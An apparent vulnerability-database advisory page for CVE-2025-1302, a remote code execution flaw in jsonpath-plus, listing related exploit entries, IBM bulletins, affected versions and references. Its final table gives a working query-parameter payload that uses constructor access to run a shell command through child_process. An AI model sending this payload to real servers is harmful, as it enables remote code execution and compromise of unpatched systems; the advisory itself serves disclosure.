CVE-2025-1302

🗓️ 15 Feb 2025 05:00:01Reported by snykType

cve🔗 web.nvd.nist.gov📰️ 1 Media mentions👁 409 Views🌐 WEB

Versions of jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution due to improper sanitization.

Reporter	Title	Published	Views	Family All 41
githubexploit	Exploit for Code Injection in Symfony Twig	3 Jan 202620:15	–	githubexploit
githubexploit	Exploit for CVE-2025-1302	25 Feb 202508:36	–	githubexploit
githubexploit	Exploit for CVE-2025-1302	27 Feb 202604:05	–	githubexploit
githubexploit	Exploit for CVE-2025-1302	24 Jul 202517:45	–	githubexploit
ibm	Security Bulletin: Multiple Vulnerabilities in IBM API Connect	15 Mar 202500:18	–	ibm
ibm	Security Bulletin: Vulnerability in jsonpath-plus affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge.	21 May 202514:58	–	ibm
ibm	Security Bulletin: Multiple Security vulnerabilities affecting IBM Knowledge Catalog Premium Cartridge	11 Mar 202619:05	–	ibm
ibm	Security Bulletin: IBM App Connect Enterprise Certified Container operands are vulnerable to remote code execution [CVE-2025-1302]	8 May 202517:56	–	ibm
ibm	Security Bulletin:IBM Event Streams is vulnerable to Remote Code Execution (RCE) attack due to the jsonpath-plus ( CVE-2025-1302).	19 May 202502:05	–	ibm
ibm	Security Bulletin: IBM App Connect Enterprise is vulnerable to Remote Code Execution and improper preservation of permissions due to jsonpath-plus & snowflake-sdk (CVE-2025-1302 & CVE-2025-24791)	26 Jun 202516:07	–	ibm

[
  {
    "product": "jsonpath-plus",
    "versions": [
      {
        "version": "0",
        "lessThan": "10.3.0",
        "status": "affected",
        "versionType": "semver"
      }
    ],
    "vendor": "n/a"
  }
]

Source	Link
gist	www.gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
github	www.github.com/JSONPath-Plus/JSONPath/commit/30942896d27cb8a806b965a5ca9ef9f686be24ee
security	www.security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-8719585
github	www.github.com/JSONPath-Plus/JSONPath/blob/8e4acf8aff5f446aa66323e12394ac5615c3b260/src/Safe-Script.js%23L127

Parameter	Position	Path	Description	CWE
path	query param	/query?path=$.[?(@[["constructor"]][["constructor"]]("throw new Error(process.mainModule.require('child_process').execSync('id').toString())")())]	RCE payload exploiting JSONPath Plus CVE-2025-1302 via constructor access in extended condition (query parameter)	CWE-94